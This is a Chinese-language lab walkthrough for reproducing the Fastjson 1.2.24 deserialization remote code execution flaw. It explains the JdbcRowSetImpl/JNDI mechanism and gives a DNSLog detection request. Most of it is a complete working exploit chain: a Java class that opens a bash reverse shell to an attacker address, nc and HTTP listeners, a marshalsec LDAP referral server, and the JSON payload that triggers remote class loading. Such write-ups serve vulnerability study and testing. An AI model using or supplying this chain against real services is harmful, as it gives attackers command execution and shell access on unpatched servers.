Fastjson 反序列化漏洞[1.2.24-rce]
漏洞复现环境搭建请参考
http://t.csdnimg.cn/vSaaw
kali切换jdk版本请参考
Kali安装JAVA8和切换JDK版本的详细过程_kali安装jdk8-CSDN博客
漏洞原理
Fastjson提供的com.sun.rowset.JdbcRowSetImpl类下的dataSourceName方法支持传入一个RMI/LDAP源，支持远程调用。攻击者只需要创建一个恶意指令类（写入反弹shell等恶意命令），设置RMI/LDAP服务的远程加载指向该恶意类，即可做到远程任意命令执行
漏洞版本
fastjson<=1.2.24
漏洞验证
（1）Web访问，JSON页面
（2）BP抓包，利用DNS回显验证，DNSLog Platform
（3）修改提交方式为POST，加入以下内容，放包，DNS回显则证明漏洞存在
#val的值为DNS申请的域名Content-Type:application/json{"a":{"@type":"java.net.Inet4Address","val":"q6teka.dnslog.cn"}
}
漏洞利用
（1）创建远程加载类，攻击机创建.java文件，内容如下，并进行java编译生成class文件
#执行反弹shell，注意文件名需要和class类名称创建的一样
import java.lang.Runtime;
import java.lang.Process;public class getshell {static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.88.128/8888 0>&1"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}}
}
（2）开启攻击机HTTP服务和反弹shell端口的监听
python3 -m http.server 80
nc -lvvp 8888
（3）开启LDAP服务
#工具获取
git clone https://github.com/RandomRobbieBF/marshalsec-jar#开启LADP服务，端口6666，指定远程加载类为攻击机上的getshell
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.88.128:80/#getshell 6666 
（4）回到站点，BP抓包，发送恶意数据，内容如下
Content-Type:application/json
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.88.128:6666/getshell","autoCommit":true}
}
（5）放包，getshell
